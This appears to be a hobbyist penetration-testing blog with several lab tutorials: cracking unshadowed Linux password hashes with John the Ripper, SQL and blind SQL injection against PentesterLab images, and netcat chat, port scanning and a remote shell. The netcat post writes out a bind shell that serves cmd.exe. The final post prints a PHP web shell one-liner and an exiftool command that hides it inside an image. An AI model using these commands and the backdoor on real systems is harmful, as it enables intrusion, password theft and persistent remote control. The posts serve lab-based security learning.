cracking password with john_the_ripper

john_the_ripper has become one of the known tool for password cracking. it uses method of dictionary based attack. the primary use of john_the_ripper is to crack and detect "weak" password UNIX password and It can be run against various encrypted password formats including several crypt password hash types most commonly found on various Unix versions (based on DES, MD5, or Blowfish).

noted: The greater the password list , the longer it takes to crack the password

i use kali linux-1.0.6 version in this exercise

1. i create a new user in my kali linux vmware machine, and the password is : password

2. i create a new directory called natasha to put the password result. is up to you to create new directory or not

3. we unshadow the password file . linux store the password hashes in "etc/passwd" and "etc/shadow". for some of you who see inside these two files you may be thinking what is difference between these two.

the answer is:

passwd is the file where the user information (like username, user ID, group ID, location of home directory, login shell, ...) is stored when a new user is created. 

shadow is the file where important information (like an encrypted form of the password of a user, the day the password expires, whether or not the passwd has to be changed, the minimum and maximum time between password changes, ...) is stored when a new user is created.

that is why necessary combining this two password file to be used for cracking later. 

4. before we crack the unshadow file , we have to locate password.lst file that is used going to as the dictionary

command: locate password.lst

 

5. now that we have locate the path, we can proceed to crack the password. copy the path and put in command argument 

command : john --wordlist=/usr/share/john/password.lst "your_password_file"

 

 after the password file is done cracking it will prompt you the result you can see it again with--show features

command:john --show "your_password_file"

 

so that is it . i encourage you all to try a different features of john the ripper tools and also try to download a larger password list file to try it . have a good day 

sql injection

Good night everyone
so this night i'm going to show you how to do a sql injection. well you already know that i do blind sql injection in my older post but this time i'm going to do sql injection which is more easier than the blind sql injection

so i'm using two machine which is kalilinux, iso file which is from_sqli_to_shell_pg_edition_i386.iso (you can download the iso file from pentester lab  just type in the google "from sql to shell")

so fireup your kalilinux and the target machine. make sure you can ping the website. so this will be the page of the target website. and let just cut to the chase i try every link to find which one is link is vulnerable to sql injection by putting single quote to some url and yea i found it was at cat.php

so alternatively i can bruteforce the web directory to save time guessing the table name or column name

so there you go there is bunch list of your target web directories.

but if you want to do it manual first you have to determine by how many cplumn that are actually use u can use that with ORDER BY command so try to add some value to order by to determine how many column that they use.

so i got this error message when inserting 5 value at order by

so there is 4 column after determine the value lets figured what kind of type that they use you can test every parameter using UNION command

and after that you can also detect the version , current_user , database using union command

so we get all the necessary information lets indentify the column and table name by using this command

now for the fun part you can now retrieve admin account and password using this command

 ahah! we get the admin account and password but it was hash no worries we can solve this by two way either using search engine or john the ripper

so right now i'm using search engine to encode the hash just simply copy paste the hash and wala! there you go this hashes is already been encode to some website so the password was "P4ssw0rd"

 as you can see we now take control of the admin account now

have a nice day ^_^ i'm literally at the rooftop right now because the connection was bad at my flat

netcat (chat and remote shell)

so today i'm going to give you a tutorial how to use netcat to chat in different computer and for create remote shell

netcat for chat:

so this is pretty easy to do it so set up two different machine mine was kalilinux as the client and windows xp as the listeners.

for listeners type : nc -l -p 8390 (is up to you where to connect the port)
for client type:nc 171.16.139.134 (listeners ip address) 8390 (and the port that listeners set)

and wala ! you already can chat with two different machine to be noted this connection is not encrypted.

remote shell:
so before we start , what is remote shell? remote shell is a command line computer programming that will execute shell command as another user on another computer. so basically you can own another computer.in this tutorial i don't show you how to use remote shell for black hat stuff but i will show you for white hat stuff (logging file trouble shooting)

it's pretty easy

now my listener machine will be windows xp and kali linux will be the client

for the listener: nc -Lp 8390 (port number) -vv -e cmd.exe

-Lp=persistent listening mode
-vv-extra verbose mode (useful for transfering file)
-e =open security hole

 and at the client machine type : nc 172.16.139.134 (ip address listener) 8390 (port)

 and wala! you already the inside the system

 in this picture to show i already inside the listener machine i create one directory i_inside_you (yeah!)

cool huh?!

have a nice day ^_^

netcat for banner grabbing and port scanning

so you all must know about netcat right? netcat is a simple Unix utility which reads and writes data across network connections, using TCP or UDP protocol. netcat can be use many thing from backdoor , chat, banner grabbing and also port scanning. but today i'm going to give a tutorial how to use netcat to banner grabbing and port scanning.

banner grabbing

so i use windows xp and it's already install netcat

as you can see the netcat retrieved back what server that they actually use but this kinda method its not really stealth because it will restore at the log server.

port scanning:
netcat can also be use for port scanning even though is not really sophisticated as nmap but netcat can be your alternative use

type "nc -v -w 1 target ip address -z range port"
-v=verbose
-w=timeout for connect
-z =for the range of port

as you can see some port will be closed inidicate with timeout and open port indicate with open

have a nice day ^_^

blind sql injection (from sql to shell II)

so today i'm going to show you how to conduct a blind sql injection in this tutorial i get the exercise from pentesterlab and here is the URL:https://pentesterlab.com/exercises/from_sqli_to_shell_II/

before get into the business, let me explain about what is blind sql injection . Blind SQL injection is identical to normal SQL Injection except that when an attacker attempts to exploit an application rather then getting a useful error message they get a generic page specified by the developer instead..(http://www.cgisecurity.com/questions/blindsql.shtml)

so basically we don't try to search any error message so the back end of the database but we actually asks the database true or false questions and determines the answer based on the applications response. just like guessing game it more difficult compare to sql injection but even if the database error messages are turned off a hacker can still run a blind SQL injection attack.

set up all necessary tools
-Kali Linux (https://www.kali.org/)
-ISO Image of SQL Injection Lab (from_sqli_to_shell_II_i386.iso)

if you successfully run the ISO image type "ifconfig" to see the web ip address and type the ip address into your browser and i will load the webpage

this is one of the page that is web page have.
before do blind sql injection lets try to do a fingerprinting. in fingerprinting i use netcat and telnet(to crosscheck)

well as you can see the server that they using is nginx /0.7.67 and also use burpsuite and nmap to see the open port and to map the application but yeah i forgot to screenshoot the burpsuite

as you can see the os that they use linux 2.6.32 and only port 80  that is open and so from the list of the structure the web application . i actually try all the link of the web application to see if it vulnerable to blind sql injection using sqlmap

after a few couple of trial and error i find one link that is vulnerable blind sql injection which is "http://172.16.139.137/show.php"

 as you can see the when insert the link to sqlmap. sqlmap show that this link is vulnerable to blind sql injection. so from this information i try to exploit the database

now from this we know that there are two database information_schema and photoblog. now let's try to see the content of the photoblog table.

now from the photoblog database we can see that there is 4 table now we focus on the users table because it will contain username and password

 now from content of the table there are only one user which is admin but the password was hash. but you can actually use dictionary base attack to so real content of the hash

ahah! now from this we get the username and the password. go to the admin page and enter the password.

as you can see we finally take over the admin account. from here you can actually put a backdoor inside using php to execute the command. but in the administration page you can actually just store a picture inside the database so how to conceal backdoor inside the picture. well there is actually a lot of way to create but in this tutorial i use exiftool.

tool can inject the php code inside the image. simple code to create backdoor using php

"<?php $cmd=$_GET ['cmd'] ; system ($cmd); ?>"

i suggest you not separate the code into each line because when i try that the backdoor is not work.

now try to download any image an type this in order to create backdoor

"exiftool "-comment<=backdoor.php" image.png"

if it succeed you can remotely execute cmd command like this

 well in order to see the content click "view page source"

as you can see the backdoor is successfully injected to the web application pretty cool heehhhh!for suggestion try to update your sqlmap to give much satisfying result i run an older sqlmap for two days is not working

have a great day ^_^